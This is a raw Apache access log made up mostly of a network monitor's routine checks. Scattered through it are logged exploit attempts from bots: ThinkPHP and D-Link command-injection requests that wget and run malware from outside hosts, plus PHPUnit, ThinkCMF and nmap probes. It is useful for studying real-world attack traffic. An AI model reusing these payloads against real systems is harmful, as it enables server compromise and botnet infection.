212.91.246.72 - - [14/Feb/2020:21:58:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:59:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:00:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:01:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:02:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.120.44.244 - - [14/Feb/2020:22:03:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:22:03:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:04:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:05:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:06:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [14/Feb/2020:22:07:04 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:22:07:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:08:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:09:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:10:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:11:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:12:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:13:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:14:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:15:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:16:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:17:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.206.59.134 - - [14/Feb/2020:22:17:54 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
111.206.59.134 - - [14/Feb/2020:22:18:04 +0100] "\x16\x03" 501 317 "-" "-"
111.206.59.134 - - [14/Feb/2020:22:18:04 +0100] "\x16\x03" 501 317 "-" "-"
111.206.59.134 - - [14/Feb/2020:22:18:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
111.206.59.134 - - [14/Feb/2020:22:18:04 +0100] "Query" 501 320 "-" "-"
111.206.59.134 - - [14/Feb/2020:22:18:04 +0100] "\x05\x04" 501 317 "-" "-"
111.206.59.134 - - [14/Feb/2020:22:18:04 +0100] "Subscribe" 501 324 "-" "-"
111.206.59.134 - - [14/Feb/2020:22:18:04 +0100] "stats" 501 320 "-" "-"
111.206.59.134 - - [14/Feb/2020:22:18:04 +0100] "" 501 315 "-" "-"
111.206.59.134 - - [14/Feb/2020:22:18:04 +0100] "HELP" 501 319 "-" "-"
111.206.59.134 - - [14/Feb/2020:22:18:06 +0100] "LO_SERVER_CLIENT_PAIR" 501 336 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:06 +0100] "ver" 501 318 "-" "-"
111.206.59.134 - - [14/Feb/2020:22:18:07 +0100] "GET /?CAVIT HTTP/1.1" 400 329 "-" "-"
111.206.59.134 - - [14/Feb/2020:22:18:07 +0100] "fox a 1 -1 fox hello" 400 396 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "NXSH-5.6.7" 501 325 "-" "-"
111.206.59.134 - - [14/Feb/2020:22:18:07 +0100] "0\x84" 501 317 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "\x80\x9e\x01\x03\x01" 501 320 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "<" 501 319 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "GET /server-info HTTP/1.1" 400 329 "-" "iPhoto/9.1.1  (Macintosh; N; PPC)"
111.206.59.134 - - [14/Feb/2020:22:18:07 +0100] "show info" 400 329 "-" "-"
111.206.59.134 - - [14/Feb/2020:22:18:07 +0100] "< NTP/1.2 >" 400 329 "-" "-"
111.206.59.134 - - [14/Feb/2020:22:18:07 +0100] "GET /version HTTP/1.1" 400 329 "-" "-"
111.206.59.134 - - [14/Feb/2020:22:18:07 +0100] "get_info" 501 323 "-" "-"
111.206.59.134 - - [14/Feb/2020:22:18:07 +0100] "GET /api HTTP/1.0" 404 304 "-" "-"
111.206.59.134 - - [14/Feb/2020:22:18:07 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
111.206.59.134 - - [14/Feb/2020:22:18:07 +0100] "serverstatus" 501 327 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "" 501 315 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "OPTIONS sip:nm SIP/2.0" 400 329 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "HELP" 501 319 "-" "-"
111.206.59.134 - - [14/Feb/2020:22:18:04 +0100] "< NTP/1.0 >" 400 329 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "CONNECT01 v09" 400 329 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "*1" 501 317 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "EHLO" 501 319 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "GET /hazelcast/rest/cluster HTTP/1.0" 404 323 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "TSH " 501 318 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "WWWOFFLE STATUS" 400 329 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "\x124" 501 317 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "#ST" 501 318 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "\x01default" 501 323 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "init" 501 319 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "< NTP/1.1 >" 400 329 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "\x1b%-12345X@PJL INFO ID" 400 329 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "GET SERVER INFO" 400 329 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "<?xml version=\"1.0\" ?><methodCall><methodName>nmap.probe</methodName></methodCall>" 400 329 "-" "-"
111.206.59.142 - - [14/Feb/2020:22:18:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8"
212.91.246.72 - - [14/Feb/2020:22:18:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.60.232.206 - - [14/Feb/2020:22:19:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:22:19:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.124.162.73 - - [14/Feb/2020:22:19:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:22:20:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:21:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:22:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:23:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:24:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:25:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.236.76.95 - - [14/Feb/2020:22:26:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:22:26:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [14/Feb/2020:22:26:46 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [14/Feb/2020:22:26:49 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [14/Feb/2020:22:26:49 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [14/Feb/2020:22:26:49 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:22:27:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [14/Feb/2020:22:28:09 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:22:28:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:29:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:30:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.139.137.15 - - [14/Feb/2020:22:30:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [14/Feb/2020:22:31:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:32:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:33:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:34:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:35:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:36:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:37:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:38:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.57.70.137 - - [14/Feb/2020:22:38:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:22:39:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:40:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:41:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:42:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:43:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:44:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:45:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
65.99.152.25 - - [14/Feb/2020:22:46:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:22:46:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:47:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:48:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:49:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:50:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:51:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:52:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:53:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:54:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:55:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.130.149.61 - - [14/Feb/2020:22:55:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:22:56:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:57:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:58:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:22:59:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:00:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:01:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.67.83.154 - - [14/Feb/2020:23:02:35 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
114.67.83.154 - - [14/Feb/2020:23:02:36 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
114.67.83.154 - - [14/Feb/2020:23:02:36 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
114.67.83.154 - - [14/Feb/2020:23:02:37 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
114.67.83.154 - - [14/Feb/2020:23:02:37 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [14/Feb/2020:23:02:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.67.83.154 - - [14/Feb/2020:23:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [14/Feb/2020:23:03:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:04:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.136.231.54 - - [14/Feb/2020:23:04:59 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [14/Feb/2020:23:05:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.39.152.5 - - [14/Feb/2020:23:05:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:23:06:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.40.191.115 - - [14/Feb/2020:23:07:33 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [14/Feb/2020:23:07:34 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [14/Feb/2020:23:07:34 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [14/Feb/2020:23:07:34 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [14/Feb/2020:23:07:35 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [14/Feb/2020:23:07:35 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [14/Feb/2020:23:07:36 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [14/Feb/2020:23:07:36 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [14/Feb/2020:23:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [14/Feb/2020:23:07:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:08:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:09:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:10:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:11:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:12:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:13:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:14:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:15:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:16:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:17:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:18:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:19:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:20:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:21:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.181.39.156 - - [14/Feb/2020:23:22:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:23:22:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:23:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:23:24:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.85.76.136 - - [14/Feb/2020:23:24:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
